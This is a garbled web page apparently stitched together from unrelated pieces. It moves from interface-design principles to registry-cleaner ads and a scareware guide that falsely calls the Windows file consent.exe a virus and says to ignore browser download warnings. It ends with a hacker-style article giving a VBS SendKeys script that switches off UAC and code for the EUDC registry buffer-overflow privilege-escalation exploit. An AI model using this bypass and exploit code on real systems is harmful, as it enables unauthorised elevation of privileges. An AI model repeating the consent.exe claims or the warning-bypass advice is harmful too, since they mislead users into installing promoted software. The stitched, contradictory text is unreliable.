Consistent user interface of Windows 10. Breaking down UAC: Is the user control system so scary for a programmer? Key point of the exploit
An interface can be consistent in three aspects or categories: physical, syntactic and semantic.
Physical consistency refers to technical means: keyboard layout, key layout, mouse use. For example, for the F3 key, physical consistency exists if it is always in the same place, regardless of the computing system. Likewise, the mouse selection button will be physically consistent if it is always positioned under the index finger.
Syntactic consistency refers to the sequence and order in which elements appear on the screen (presentation language) and the sequence of requests (action language). For example: There will be syntactic consistency if the panel title is always placed centered and at the top of the panel.
Semantic consistency refers to the meaning of the elements that make up the interface. For example, what does it mean Exit? Where users request Exit and then what happens?
Benefits of a Consistent Interface
A consistent interface saves users and developers time and money.
Users benefit from the fact that it takes less time to learn how to use applications and then less time to get work done. A consistent interface reduces user errors and makes the user feel more comfortable with the system.
A consistent user interface also benefits application developers by identifying common interface blocks and standardizing interface elements and interaction with them.
These building blocks allow programmers to create and modify applications more easily and quickly. Although the user interface sets the rules for interface elements and interaction, it allows for a fairly high degree of flexibility.
Naturalness of the interface
A natural interface is one that does not force the user to significantly change their usual ways of solving a problem. This means, in particular, that messages And The results produced by the application should not require further explanation. It is also advisable to preserve the notation and terminology used in this subject area.
The use of concepts and images (metaphors) familiar to the user provides an intuitive interface when performing tasks. At the same time, when using metaphors, you should not limit their machine implementation to a complete analogy with the objects of the same name in the real world. For example, unlike its paper counterpart, a folder on the Windows Desktop can be used to store a number of other objects (such as printers, calculators, and other folders). Metaphors are a kind of “bridge” that connects images of the real world with those actions and objects that the user has to manipulate when working on a computer; they provide "recognition" rather than "remembering". Users remember an action associated with a familiar object more easily than they would remember the name of the command associated with that action.
Friendlinessinterface (the principle of “forgiveness” of the user)
Users usually learn the features of working with a new software product through trial and error. An effective interface must take this approach into account. At each stage of operation, it should allow only the appropriate set of actions and warn users about those situations where they could damage the system or data; It’s even better if the user has the ability to undo or correct completed actions.
Even with a well-designed interface, users can make some mistakes. These errors can be of either the “physical” type ( random selection of the wrong command or data) and “logical” (making the wrong decision to select a command or data). An effective interface should be able to prevent situations that are likely to result in errors. It must also be able to adapt to potential user errors and facilitate the process of eliminating the consequences of such errors.
Feedback principle
Always provide feedback for user actions. Each user action should receive a visual , and sometimes audio confirmation that the software has accepted the entered command; in this case, the type of reaction, if possible, should take into account the nature of the action performed .
Feedback is effective if it is implemented in a timely manner, i.e. as close as possible to the point of the last user interaction with the system. When a computer processes an incoming job, it is useful to provide the user with information regarding the state of the process, as well as the ability to interrupt the process if necessary. Nothing confuses a less experienced user more than a locked screen that does not respond to his actions. A typical user can only tolerate a few seconds of waiting for a response from his electronic “interlocutor.”
Simplicity of the interface
The interface should be simple. At the same time there is V This is not meant to be simplified, but rather to ensure ease of learning and use. In addition, it must provide access to the entire list of functionality provided by this application. Providing access to rich functionality and ensuring ease of operation are at odds with each other. Designing an effective interface aims to balance these goals.
One of the possible ways to maintain simplicity is to present on the screen the information that is minimally necessary for the user to complete the next step of the task. In particular, avoid verbose command names or messages. Poor or redundant phrases make it difficult for the user to extract relevant information.
Another way to create a simple but effective interface is to place and present elements on the screen, taking into account their semantic meaning and logical relationship. This allows you to use the user’s associative thinking during the work process.
You can also help users control the complexity of the information displayed by using sequential opening (dialog boxes, menu sections And etc.). Sequential disclosure involves organizing information in such a way that at any given time only that part of it that is necessary to complete the next step is on the screen. Reducing the amount of information , presented to the user, you thereby reduce the amount of information to be processed. An example of such an organization is a hierarchical (cascading) menu, each level of which displays only those items that correspond to one user-selected item of a higher level.
Interface flexibility
Interface flexibility is its ability to take into account the user's skill level and productivity. The property of flexibility implies the ability to change the structure of the dialogue and/or input data. Flexible concept (adaptive) The interface is currently one of the main areas of research into human-computer interaction. The main problem is not V how to organize changes in dialogue, but what signs should be used to determine the need for changes and their essence.
Aesthetic appeal
Designing visual components is a critical part of developing a software interface. Correct visual representation of the objects used ensures the transmission of very important additional information about the behavior and interaction of various objects. At the same time, it should be remembered , that every visual element that appears on the screen potentially requires the user's attention, which, as we know, is not unlimited. The screen should provide an environment that not only facilitates the user's understanding of the information presented, but also allows would focus on its most important aspects.
It should be recognized that the greatest success in designing a user interface with the listed properties has so far been achieved by computer game developers.
The quality of the interface is difficult to assess in quantitative terms, but a more or less objective assessment can be obtained based on the specific indicators given below.
The time required for a specific user to achieve a given level of knowledge and skills in working with the application (For example, a non-professional user should master commands for working with files in no more than 4 hours).
Maintaining acquired work skills over time (For example, after a week's break, the user must perform a certain sequence of operations in a given time).
Speed of solving a problem using this application; in this case, it is not the speed of the system or the speed of data entry from the keyboard that should be assessed, but the time required to achieve the goal of the problem being solved. Based on this, the evaluation criterion for this indicator can be formulated, for example, as follows: the user must process at least 20 documents in an hour with an error of no more than 1%.
Subjective user satisfaction when working with the system (which can be expressed quantitatively as a percentage or as a rating on a 12-point scale).
Summarizing the above, we can briefly formulate the basic rules, the observance of which allows us to count on creating an effective user interface:
The user interface must be designed and developed as a separate component of the application being created.
It is necessary to take into account the capabilities and features of the hardware and software on the basis of which the interface is implemented.
It is advisable to take into account the characteristics and traditions of the subject area to which the application being created belongs.
The interface development process should be iterative; its obligatory element should be coordination of the results obtained With potential user.
The means and methods for implementing the interface must provide the ability to adapt it to the needs and characteristics of the user.
Sometimes consent.exe and other EXE system errors can be related to problems in the Windows registry. Several programs can use the consent.exe file, but when those programs are uninstalled or modified, sometimes "orphaned" (incorrect) EXE registry entries are left behind.
Basically, this means that while the actual path of the file may have changed, its incorrect former location is still recorded in the Windows Registry. When Windows tries to look up these incorrect file references (file locations on your PC), consent.exe errors can occur. Additionally, a malware infection may have corrupted Windows-related registry entries. Thus, these corrupt EXE registry entries need to be fixed to fix the problem at the root.
Manually editing the Windows registry to remove invalid consent.exe keys is not recommended unless you are PC service professional. Mistakes made when editing the registry can render your PC inoperable and cause irreparable damage to your operating system. In fact, even one comma placed in the wrong place can prevent your computer from booting!
Because of this risk, we highly recommend using a trusted registry cleaner such as %%product%% (Developed by Microsoft Gold Certified Partner) to scan and repair any consent.exe-related registry problems. Using a registry cleaner, you can automate the process of finding corrupted registry entries, missing file references (such as the one causing the consent.exe error), and broken links within the registry. Before each scan, a backup copy is automatically created, allowing you to undo any changes with one click and protecting you from possible damage to your computer. The best part is that eliminating registry errors can dramatically improve system speed and performance.
Warning: Unless you are an experienced PC user, we DO NOT recommend manually editing the Windows Registry. Using Registry Editor incorrectly may cause serious problems that may require you to reinstall Windows. We do not guarantee that problems resulting from incorrect use of Registry Editor can be corrected. You use Registry Editor at your own risk.
Before you manually repair the Windows registry, you need to create a backup by exporting a portion of the registry that is associated with consent.exe (eg. Windows):
- Click on the button Begin.
- Enter " command" V search bar... DON'T CLICK YET ENTER!
- While holding down the keys CTRL-Shift on your keyboard, press ENTER.
- A dialog box for access will be displayed.
- Click Yes.
- The black box opens with a blinking cursor.
- Enter " regedit" and press ENTER.
- In the Registry Editor, select the consent.exe-related key (eg. Windows) you want to back up.
- On the menu File select Export.
- On the list Save to select the folder where you want to save the Windows key backup.
- In field File name Enter a name for the backup file, for example "Windows backup".
- Make sure the field Export range value selected Selected branch.
- Click Save.
- The file will be saved with extension .reg.
- You now have a backup of your consent.exe-related registry entry.
The following steps for manually editing the registry will not be described in this article, as they are likely to damage your system. If you would like more information about editing the registry manually, please check out the links below.
How to get rid of consent.exe (Virus Removal Guide)
consent.exe are valid Microsoft Windows executables. It is located in program C:\......\.... \ and you can easily see it in your system's task manager. It is associated with all versions of windows including Windows Vista, Windows 7.8 and 10. If you have hot detected any harmful activity on your computer then everything is fine. Many users report that this causes big problems in our System. This is a scam created by cyber criminals as the name consent.exe. It immediately replaces the original ones and executes new exe files on your system. It can change your Windows PCs without your permission. It will disable your system's antivirus and firewall protection
consent.exe may be hiding you on your computer and malware on your computer. If you want to check whether these are genuine files or a virus, find its location on your computer. If you end up in C:\program then it is truly otherwise, it is a computer infection. Once the consent.exe virus is installed on your system, then you will suffer more. It may also damage your other files running on your system. It may modify all your files with some unwanted extension. It can add some of the programs to your computer. Its main motive is to collect your important information including search queries, websites visited, password, login ID, bank secret information, credit card number and more details. It can be used to update your software. It can connect your system to a remote server and allow the hacker to gain access to your computer in his own way. It can transfer all your critical and confidential information to hackers or unauthorized users.
consent.exe is a malware that comes with freeware and shareware on PC. It can get in through email spam, attachments, suspicious links or in-text links, porn sites, game downloads, movies and music media, infected media, social networking sites, hacked websites and much more. This may be due to numerous ads and pop-ups. Presence of consent.exe virus in your system You need to remove consent.exe immediately
Consent.exe removal instructions
Plan a: get rid of consent.exe with manual process (recommended by cyber experts and top technicians only)
Plan b : Remove consent.exe from Windows PC using automatic removal tool (safe and easy for all PC users)
Windows OS Plan A: Get rid of consent.exe manually
Before performing the manual process, there are a few things that need to be confirmed. The first thing is that you must have technical knowledge and rick experience in removing PC malware manually. You must have in-depth knowledge of system registry entries and files. Must be able to undo incorrect steps and must be aware of the possible negative consequences that may arise from your mistake. If you do not carry out this basic technical knowledge, the plan will be very risky and should be avoided. In such a case, it is highly recommended to enable Plan B, which is lighter and will help you detect and remove consent.exe easily with an automatic tool. (With SpyHunter and RegHunter)
Step 1: Remove consent.exe from control panel
Step 2: Remove consent.exe from browsers
On Chrome: Open Google Chrome > click Chrome menu > select Tools > click extension > select consent.exe extensions > trash 
On Firefox: Open Firefox > go to the right corner to open the browser menu > select Add-ons > select and remove consent.exe extensions 
In Internet Explorer: Open IE > click Tools > click on manage add-ons, tools and extensions > select extensions consent.exe and its elements and delete them. 
Step 3: Remove consent.exe malicious files and registry entries
3. Detect registry entries created by consent.exe and carefully remove them one by one
- HKLM\SOFTWARE\Classes\AppID\
.exe - HKEY_CURRENT_USER\software\Microsoft\Internet Explorer\Main\Start Page Redirect=”http://
.com" - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\virus name
- HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon “Shell” = “%AppData%\
.exe" - HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
- ‘Random’ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Random
Plan B: Remove consent.exe with automatic consent.exe utility
Step1. Scan the infected computer with SpyHunter to remove consent.exe.
1. Click on the Download button to download SpyHunter securely.
Note : While loading SpyHunter on your PC, your browser may display a fake warning such as “This type of file may harm your computer. Do you still want to keep Download_Spyhunter-installer.exe anyway?” Remember that this is a scam message that is actually generated by a PC infection. You should simply ignore the message and click on the "Save" button.
2. Run SpyHunter-Installer.exe to install SpyHunter using the Enigma software installer. 
3. Once the installation is complete, SpyHunter gets to scan your computer and search deep to detect and remove consent.exe and its associated files. Any malware or potentially unwanted programs automatically get scanned and detected. 
4. Click on the "Fix threats" button to remove all computer threats detected by SpyHunter. 
Step 2: Use RegHunter to Maximize PC Performance
1. Click to download RegHunter along with SpyHunter
2. Run RegHunter-Installer.exe to install RegHunter through the installer 
Methods used by the consent.exe automatic removal tool
consent.exe is a very advanced malware infection, so it is very difficult for anti-malware software to get its detection updated for such malware attacks. But with the automatic consent.exe removal tool, there are no such issues. This malware scanner gets regular updates for the latest malware definitions and thus it can scan your computer very quickly and remove all types of malware threats including spyware, malware, trojans and so on. Many surveys and computer experts claim this as the best infection removal tool for all versions of Windows PC. This tool will completely disable the connection between the cyber forensic and your computer. It has a very advanced scanning algorithm and a three-step malware removal process so that the scanning process as well as malware removal becomes very fast.
The file consent.exe is part of the Windows User Account Control application. The file launches the User Interface for Windows UAC. Disabling the file may render UAC unusable. Windows UAC provides clients with an application that can keep their important files, documents, and applications secure by not allowing public access to these. When another person logs-on into the system, they will not be able to manipulate, change or delete any of the files that you have secured under your UAC account. These may also not be shown to the public. Only the applications and files that you publicly share will be accessed by users who do not have administrative privileges on your PC. In other words, the file serves as a security measure for your files, as well as your PC. On occasion, the file has been found to hog CPU resources. Other than this, the file has never given any major security issues to computers.
How can I stop consent.exe and should I?
Most non-system processes that are running can be stopped because they are not involved in running your operating system. consent.exe. is used by Microsoft Windows If you shut down consent.exe, it will likely start again at a later time either after you restart your computer or after an application start. To stop consent.exe, permanently you need to uninstall the application that runs this process which in this case is Microsoft Windows, from your system.
After uninstalling applications it is a good idea to scan you Windows registry for any left over traces of applications. Registry Reviver by ReviverSoft is a great tool for doing this.
Is this a virus or other security concern?
ReviverSoft Security Verdict
Please review consent.exe and send me a notification once it has
been reviewed.
What is a process and how do they affect my computer?
A process usually a part of an installed application such as Microsoft Windows, or your operating system that is responsible for running in functions of that application. Some application require that they have processes running all the time so they can do things such as check for updates or notify you when you get an instant message. Some poorly written applications have many processes that run that may not be required and take up valuable processing power within your computer.
Is consent.exe known to be bad for my computer's performance?
We have not received any complaint about this process having higher than normal impact on PC performance. If you have had bad experiences with it please let us know in a comment below and we will investigate it further.
I don’t know how many times the notorious topic of user action control (UAC) has been raised on Tyrnet: is it necessary, how effective is it... But we will look at this issue again, now from a purely applied, hacker point of view. The pros and cons of the system, and most importantly, how you can bypass it.
So what is UAC from a security perspective? The Windows developers (apparently being quite concerned about the sad information from bug tracks, which are regularly updated with more and more new vulnerabilities in the most common OS in the world) decided that if all or almost all users are sitting under administrator rights, then it is necessary to make some kind of software component that will ask users for permission. Let’s leave aside the holivar on the topic “Does a simple user need administrator rights?”, since this extremely philosophical question is controversial: on the one hand, a simple user really doesn’t need admin rights, and on the other hand, a lot of pretty everyday programs need them.
So, UAC is designed to provide users with the ability to work without resorting to administrative rights. With administrative rights, a user can view and change any part of the operating system, including the code and data of other users and even Windows itself. Without administrative rights, users cannot accidentally change system settings, malware cannot change system security settings or disable security, and users cannot compromise the security of other users' sensitive data on public computers. Running as a standard user thus helps reduce the number of emergency help desk calls in enterprise environments, mitigates damage from malware, helps home computers run smoother, and protects sensitive data on public cars.
UAC divides all executable tasks into two groups - those that can be performed by regular users, and those that can only be performed by administrators. UAC, unnoticed by the administrator, puts the system into unprivileged user mode, and when administrator rights are required, a system dialog appears through which you can temporarily increase your rights.
And we must admit that the introduction of UAC was a big letdown for novice and not-so coders who earn their living by developing malware, so on special boards customers now first of all ask about the ability of the code to work in Vista/7 and bypass UAC. They paid and still pay quite adequate money for this.
A little education, or how to legally obtain admin rights
There are many ways to determine whether your system and applications need administrative rights. One of them is the context menu command and the Run as administrator shortcut in the File Explorer UI. These elements contain a colored shield icon that must be added to all buttons or menu items whose selection results in elevation.
When you select Run as administrator, Explorer calls the ShellExecute API with the runas command.
The vast majority of installers require administrative rights, so the image loader that initiates the launch of the executable contains installer detection code to detect outdated versions. Some of the heuristics used by the bootloader are quite simple: it looks for the words "setup", "install" or "update" in the image file name or internal version information. More complex algorithms involve looking at the executable file for byte sequences typically used by third-party developers in installation shell utilities.
To determine whether the target executable needs administrative rights, the image loader also calls the application compatibility library (appcompat). The library consults the application compatibility database to determine whether the executable has the RequireAdministrator or RunAsInvoker compatibility flags associated with it.
The most common way to request administrative rights for an executable is to add a requestedElevationLevel tag to its application manifest file. Manifests are XML files that contain additional information about the image. They were introduced in Windows XP as a way to define dependencies for concurrent Microsoft .NET Framework DLLs and assemblies.
The presence of a trustInfo element in the manifest (shown below in the Firewallsettings.exe dump fragment) means that the executable file was written for Windows Vista and contains the requestedElevationLevel element.
This element's level attribute can have one of three values: asInvoker, highestAvailable, and requireAdministrator.
Executable files that do not require administrative rights (for example, Notepad.exe) have the asInvoker attribute value. Some executable files have the assumption that administrators always want maximum rights. Therefore, they use the highestAvailable value. A user running an executable with this value is prompted for elevation only if they are running in AAM mode or are treated as an administrator according to the rules defined earlier, and must therefore be elevated to access their administrative privileges.
Examples of applications that use the highestAvailable value include Regedit.exe, Mmc.exe, and Eventvwr.exe. Finally, the requireAdministrator value always initiates an elevation request and is used by all executables that would fail to perform their actions without administrative rights.
In accessible applications, the uiAccess attribute is set to "true" to control the input window in elevated processes. Additionally, to provide these capabilities they must be signed and reside in one of several secure locations, including %SystemRoot% and %ProgramFiles%.
The values set by an executable can be easily determined by viewing its manifest using the Sigcheck utility from Sysinternals. For example: sigcheck –m
We bypass UAC
So, now about why we are all here, in fact, gathered. Is it possible to bypass UAC? Yes, you can. The first solution is, so to speak, a frontal one. And it is based on the amazing fact (or a miscalculation of the Windows developers?) that when the UAC policy is changed, the system is deeply aware of how and who exactly does it, a person using the mouse pointer or is everything done programmatically. That is, in fact, the system does not distinguish who exactly moves the coveted arrow.
This is what we will use - should we disable UAC programmatically? Nothing! But we will go in an unconventional way - we will forget about methods like SendKeys that exist in high-level languages like C++ or C#, and we will use a simple VBS script.
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.SendKeys("^(ESC)")
WScript.Sleep(500)
WshShell.SendKeys("change uac")
WScript.Sleep(2000)
WshShell.SendKeys("(DOWN)")
WshShell.SendKeys("(DOWN)")
WshShell.SendKeys("(ENTER)")
WScript.Sleep(2000)
WshShell.SendKeys("(TAB)")
WshShell.SendKeys("(DOWN)")
WshShell.SendKeys("(DOWN)")
WshShell.SendKeys("(DOWN)")
WshShell.SendKeys("(TAB)")
WshShell.SendKeys("(ENTER)")
"// There is one catch here - so that the selected changes
"// have taken effect, the system needs to be rebooted
"// WshShell.Run "shutdown /r /f"
Yes, all you need is to take advantage of the benefits of Windows Script Host (WSH), where, by the way, a huge variety of system management capabilities are hidden from view, which are often forgotten. But this will be discussed another time.
The second solution to bypass UAC is also software, but not frontal, but based on the vulnerability of the system itself.
Buffer overflow
It would seem, what is the connection between buffer overflow and UAC? It turns out that bugs hidden in Windows allow you to bypass UAC restrictions and increase your rights. Today I will show with a specific example how, using a trivial buffer overflow, you can bypass UAC and gain administrative rights.
There is such a WinAPI - RtlQueryRegistryValues (msdn.microsoft.com), it is used to request multiple values from the registry with one call, which is done using a special table RTL_QUERY_REGISTRY_TABLE, which is passed as the __in__out parameter.
The most interesting (and embarrassing for Microsoft developers) about this API is that there is a specific registry key that can be changed using limited user rights: HKCU EUDCSystemDefaultEUDCFont. If you change the type of this key to REG_BINARY, then the call to RtlQueryRegistryValues will lead to a buffer overflow.
When the kernel API function Win32k.sys!NtGdiEnableEudc requests the registry key HKCUEUDCSystemDefaultEUDCFont, it honestly assumes that the registry key is of type REG_SZ, so a UNICODE_STRING structure is passed into the buffer, whose first field is of type ULONG (representing the length of the string). But since we can change the type of this parameter to REG_BINARY, this confuses the system and it incorrectly interprets the length of the transferred buffer, which leads to a stack overflow.
Key point of the exploit
UINT codepage = GetACP();
TCHAR tmpstr;
_stprintf_s(tmpstr, TEXT("EUDC\%d"), codepage);
HKEY hKey;
RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0,
REG_BINARY, RegBuf, ExpSize);
__try
{
EnableEUDC(TRUE);
}
__except(1)
{
}
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
RegCloseKey(hKey);
Conclusion
It is possible to bypass UAC. I won’t say that it’s easy, because the developers of Windows VIsta/W7 did their best, we must give them credit. But still loopholes remain. There may be a rabbit hole or two that can undo the efforts of the Windows team. Success in this case comes to those who can work with debuggers and debuggers such as IDA Pro or WinDBG.
Good luck in your efforts and may the force be with you!
Links
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